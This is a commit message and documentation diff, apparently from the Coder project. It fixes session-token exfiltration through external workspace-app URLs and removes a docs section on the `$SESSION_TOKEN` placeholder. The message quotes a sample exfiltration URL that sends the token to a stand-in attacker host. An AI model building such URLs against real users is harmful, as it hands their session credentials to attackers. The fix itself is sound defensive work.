fix: prevent session token exfiltration via external app URLs (#26146)

`coder open app` substituted the user's session token into any external
workspace-app URL containing `$SESSION_TOKEN` before opening, letting a
malicious sub-agent exfiltrate the token via a URL like
`https://attacker.example/?t=$SESSION_TOKEN`.

Substitution is now restricted to URLs from top-level
(template-authored) agents. Sub-agent URLs that still contain
`$SESSION_TOKEN` are printed for the user to inspect and substitute
manually rather than opened automatically. Sub-agent URLs without the
placeholder are unaffected.

docs/user-guides/devcontainers/customizing-dev-containers.md

@@ -247,27 +247,6 @@ Standard dev container variables are also available:
 | `${containerWorkspaceFolder}` | Workspace folder path inside the container |
 | `${localWorkspaceFolder}`     | Workspace folder path on the host          |
 
-### Session token
-
-Use `$SESSION_TOKEN` in external app URLs to include the user's session token:
-
-```json
-{
-  "customizations": {
-    "coder": {
-      "apps": [
-        {
-          "slug": "custom-ide",
-          "displayName": "Custom IDE",
-          "url": "custom-ide://open?token=$SESSION_TOKEN&folder=${containerWorkspaceFolder}",
-          "external": true
-        }
-      ]
-    }
-  }
-}
-```
-
 ## Feature options as environment variables
 
 When your dev container uses features, Coder exposes feature options as